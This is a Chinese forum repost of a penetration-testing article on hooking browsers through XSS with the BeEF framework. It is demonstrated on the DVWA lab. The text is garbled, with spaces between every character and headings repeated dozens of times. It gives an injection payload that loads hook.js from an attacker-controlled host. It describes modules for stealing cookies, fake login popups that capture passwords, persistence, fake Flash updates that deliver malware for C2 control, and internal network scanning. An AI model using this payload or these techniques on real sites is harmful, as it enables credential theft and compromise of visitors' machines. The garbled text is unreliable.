搜索

[6684] 2020-05-02_XSS之Beef神器

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-05-02_XSS之Beef神器 X S S 之 B e e f 神 器 E 安 全   2 0 2 0 - 0 5 - 0 2 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 s k e N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 B e e f   是 目 前 最 为 流 行 的   w e b   框 架 攻 击 平 台 ， 专 注 于 利 用 浏 览 器 漏 洞 ， 它 的 全 称 是   T h e   B r o w s e r   E x p l o i t a t i o n   F r a m e w o r k 。 B e e f 提 供 一 个   w e b   界 面 供 操 作 ， 只 要 访 问 了 嵌 入   h o o k . j s   页 面 ， 亦 或 者 加 载 了   h o o k . j s   文 件 的 浏 览 器 ， 就 会 不 断 的 以   G E T   的 方 式 将 其 自 身 的 相 关 消 息 到   B e E F   的   s e r v e r   端 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
N o . 3 N o . 3 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 利 用 上 线 上 线 往 存 在 X S S 漏 洞 的 地 方 插 入 以 下 代 码 < s c r i p t   s r c = " h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 2 3 7 : 3 0 0 0 / h o o k . j s " > < / s c r i p t > 当 然 x s s 的 p a y l o a d 要 根 据 是 否 存 在 w a f 做 相 对 应 的 绕 过 ， 核 心 就 是 加 载 该 h o o k . j s 代 码 例 如 ： 往 d v w a 靶 场 插 入 x s s 代 码 那 么 在 b e e f 上 可 以 看 到 浏 览 器 已 经 上 线 了
可 以 选 择 各 种 工 具 模 块 每 个 模 块 前 面 的 颜 色 代 表 着 不 同 的 意 义
尝 试 往 被 控 浏 览 器 弹 框 尝 试 往 被 控 浏 览 器 弹 框 获 取 获 取 c o o k i e 重 定 向 重 定 向 被 控 浏 览 器 跳 转 到 百 度 社 工 弹 窗 社 工 弹 窗 弹 出 一 个 登 录 框 ， 用 户 输 入 密 码 点 击 登 录 之 后 ， b e e f 可 以 获 取 到 密 码
持 久 化 持 久 化 目 标 无 论 点 击 哪 里 ， 都 无 法 跳 转 到 该 系 统 到 其 他 页 面
社 会 工 程 学 攻 击 社 会 工 程 学 攻 击 在 社 工 这 一 栏 ， 可 以 选 择 f l a s h 更 新 这 类 功 能 来 诱 使 用 户 升 级 F l a s h ， 当 用 户 点 击 之 后 ， 会 下 载 我 们 的 恶 意 文 件 执 行 ， 这 样 我 们 就 可 以 用 c 2 控 制 用 户 的 系 统 . 内 网 扫 描 内 网 扫 描 N e t w o r k 用 于 收 集 内 网 信 息 ， 比 如 p i n g 、 端 口 扫 描
注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 攻 击 浪 潮 长 达 四 年   间 谍 组 织 如 何 一 次 又 一 次 地 破 坏 G o o g l e   P l a y ？ E 周 热 点   ⑤ （ 2 0 2 0 0 4 2 4 - 0 4 3 0 ） |   F a c e b o o k 就 剑 桥 丑 闻 被 处 以 5 0 亿 美 元 罚 款 伊 朗 冠 状 病 毒 检 测 A p p 饱 受 质 疑     美 国 强 行 将 其 下 架 W i n d o w s 严 重 蠕 虫 漏 洞 将 破 坏 全 球 的 商 业 网 络 ！ 国 泰 航 空 被 处 以 I C O 5 0 万 英 镑 最 高 罚 款   因 数 据 泄 露 长 达 四 年 之 久 ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理